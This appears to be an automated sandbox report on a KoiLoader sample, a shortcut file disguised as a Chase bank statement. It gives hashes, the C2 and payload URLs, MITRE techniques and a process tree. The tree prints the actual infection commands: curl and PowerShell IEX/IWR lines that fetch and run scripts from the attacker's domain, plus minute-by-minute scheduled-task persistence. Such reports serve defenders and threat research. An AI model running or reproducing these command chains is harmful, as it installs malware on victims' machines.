koiloader | d87d9ff587e4068e5ccde72a4c9992fbf66e07d25040b2b64f2faecab58dee3e

General

Target

Chasebank_Statement_May.lnk
Size

2KB
MD5

6bf403f2f1c9d8382fff6ed5a3041899
SHA1

922df103fec71861594dc918678ad6af27b14851
SHA256

7c8568685a386cfba733f330d0607fc54246801a6ccfc8b67c61acd11a0f695e
SHA512

d235396894b5c82b1a5d282959f65a00bc2dc021fbabf71746994239b14559db09c4ad3be80a9c70829df0bf197407e64a44b88989fd2d420cb98d03119463e8

Score

10^/10

koiloader execution loader

Malware Config

Extracted

Family

koiloader

C2

http://5.255.127.243/parietals.php

Attributes

payload_url
https://livingthemiraculouslife.com/assets/js

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader

Detects KoiLoader payload 1 IoCs

loader

Processes:

resource	yara_rule
behavioral2/memory/3496-38-0x0000000007BD0000-0x0000000007BDD000-memory.dmp	family_koi_loader

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3496-38-0x0000000007BD0000-0x0000000007BDD000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

26 2444 powershell.exe
27 3496 powershell.exe

flow	pid	process
26	2444	powershell.exe
27	3496	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exewscript.EXEwscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3496 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3004 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2444 powershell.exe
2444 powershell.exe
3496 powershell.exe
3496 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2444 powershell.exe
Token: SeDebugPrivilege 3496 powershell.exe

pid	process
3496	powershell.exe

pid	process
3004	schtasks.exe

pid	process
2444	powershell.exe
2444	powershell.exe
3496	powershell.exe
3496	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.execmd.exewscript.EXEpowershell.exewscript.exe

description	pid	process	target process
PID 2212 wrote to memory of 1076	2212	cmd.exe	cmd.exe
PID 2212 wrote to memory of 1076	2212	cmd.exe	cmd.exe
PID 1076 wrote to memory of 4860	1076	cmd.exe	curl.exe
PID 1076 wrote to memory of 4860	1076	cmd.exe	curl.exe
PID 1076 wrote to memory of 3004	1076	cmd.exe	schtasks.exe
PID 1076 wrote to memory of 3004	1076	cmd.exe	schtasks.exe
PID 60 wrote to memory of 2444	60	wscript.EXE	powershell.exe
PID 60 wrote to memory of 2444	60	wscript.EXE	powershell.exe
PID 2444 wrote to memory of 3300	2444	powershell.exe	schtasks.exe
PID 2444 wrote to memory of 3300	2444	powershell.exe	schtasks.exe
PID 2444 wrote to memory of 1956	2444	powershell.exe	wscript.exe
PID 2444 wrote to memory of 1956	2444	powershell.exe	wscript.exe
PID 1956 wrote to memory of 3496	1956	wscript.exe	powershell.exe
PID 1956 wrote to memory of 3496	1956	wscript.exe	powershell.exe
PID 1956 wrote to memory of 3496	1956	wscript.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Chasebank_Statement_May.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl -s -v -o j9KJ7gY13QnF.js "https://livingthemiraculouslife.com/assets/js/rosellateknP.php" & schtasks /create /f /sc minute /mo 1 /tr "wscript 'C:\Users\Admin\AppData\Local\Temp\j9KJ7gY13QnF.js' EhWX76T0MYGVrOQ" /tn EhWX76T0MYGVrOQ
2⤵
- Suspicious use of WriteProcessMemory
PID:1076

C:\Windows\system32\curl.exe
curl -s -v -o j9KJ7gY13QnF.js "https://livingthemiraculouslife.com/assets/js/rosellateknP.php"
3⤵
PID:4860

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc minute /mo 1 /tr "wscript 'C:\Users\Admin\AppData\Local\Temp\j9KJ7gY13QnF.js' EhWX76T0MYGVrOQ" /tn EhWX76T0MYGVrOQ
3⤵
- Creates scheduled task(s)
PID:3004

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE "C:\Users\Admin\AppData\Local\Temp\j9KJ7gY13QnF.js" EhWX76T0MYGVrOQ
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:60

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -com "IWR -useb 'https://livingthemiraculouslife.com/assets/js/resuscitativeir.php' -outf $env:tmp\MJA2W4B8IHZ9.js; schtasks /delete /tn EhWX76T0MYGVrOQ /f; wscript $env:tmp\MJA2W4B8IHZ9.js "
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /delete /tn EhWX76T0MYGVrOQ /f
3⤵
PID:3300

C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\MJA2W4B8IHZ9.js
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7zC3QVSDQ25J'; IEX(IWR -UseBasicParsing 'https://livingthemiraculouslife.com/assets/js/upsetted41V1O.ps1'); $vv.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://livingthemiraculouslife.com/assets/js/uninfatuated5IkQ.ps1')"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cd9644d108934f31c45cd03e3679b8e3

SHA1
db35bcf066e42d07b96f2b73d15b6cfb216f94e0

SHA256
8505e3afa46fc8e77079940c868d2963b2840b93cdc3da2b88c09ba4c4c8eb84

SHA512
0af988a519fcf9c47afb00165d0cf0348b46d5ac43986bca5a1da4fb91f333d1b27ea64de7e95b27de7833ef7bda02e1eefcc3516b23eb9eb5ec8a3ece4f2e49

Download Submit
C:\Users\Admin\AppData\Local\Temp\MJA2W4B8IHZ9.js

Filesize
1KB

MD5
2e117591da4bfa9da5a606ea899b83f8

SHA1
501529d3442f31ec4a9a5c7b147ffcce64af383e

SHA256
0a521c07c144960e70a7ef9df932f6d489dfe91a8218bfd2666b382b4fd5a57c

SHA512
f3515f810eefdff7f69ba162b3f91f2e44b94e821ffdb7f5b17a83bb7c279da0b5c954d19915c04d473e38a87db33c4b5bc99d9fa04b7840b2cac92d8b972a41

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2xiojcx.isc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\j9KJ7gY13QnF.js

Filesize
277B

MD5
7986569b3a54a4779497f662e2ef41a0

SHA1
13e78e9004f9674b75138368f0fad35e0859e89f

SHA256
65ad35f11ee6ab763fe2d5b99030e74f81d5233ea2ac0eba2e7e9db5ab31fce2

SHA512
31b43099112142636657554d3e41564e7ab55c18f9aa5b910e0d929a3bf5dcce240ba4ff7b83cd754aa655e7118d2fc0d50ba9dff82f0b20c3a25db9498b1009

Download Submit
memory/2444-11-0x0000015EB74F0000-0x0000015EB7512000-memory.dmp

Filesize
136KB

Download
memory/3496-20-0x0000000005BF0000-0x0000000005C56000-memory.dmp

Filesize
408KB

Download
memory/3496-19-0x00000000054A0000-0x00000000054C2000-memory.dmp

Filesize
136KB

Download
memory/3496-21-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/3496-18-0x00000000055C0000-0x0000000005BE8000-memory.dmp

Filesize
6.2MB

Download
memory/3496-31-0x0000000005FA0000-0x00000000062F4000-memory.dmp

Filesize
3.3MB

Download
memory/3496-17-0x0000000002E70000-0x0000000002EA6000-memory.dmp

Filesize
216KB

Download
memory/3496-33-0x00000000064C0000-0x00000000064DE000-memory.dmp

Filesize
120KB

Download
memory/3496-34-0x0000000006500000-0x000000000654C000-memory.dmp

Filesize
304KB

Download
memory/3496-35-0x0000000007BF0000-0x000000000826A000-memory.dmp

Filesize
6.5MB

Download
memory/3496-36-0x0000000006A10000-0x0000000006A2A000-memory.dmp

Filesize
104KB

Download
memory/3496-37-0x0000000007BB0000-0x0000000007BB1000-memory.dmp

Filesize
4KB

Download
memory/3496-38-0x0000000007BD0000-0x0000000007BDD000-memory.dmp

Filesize
52KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads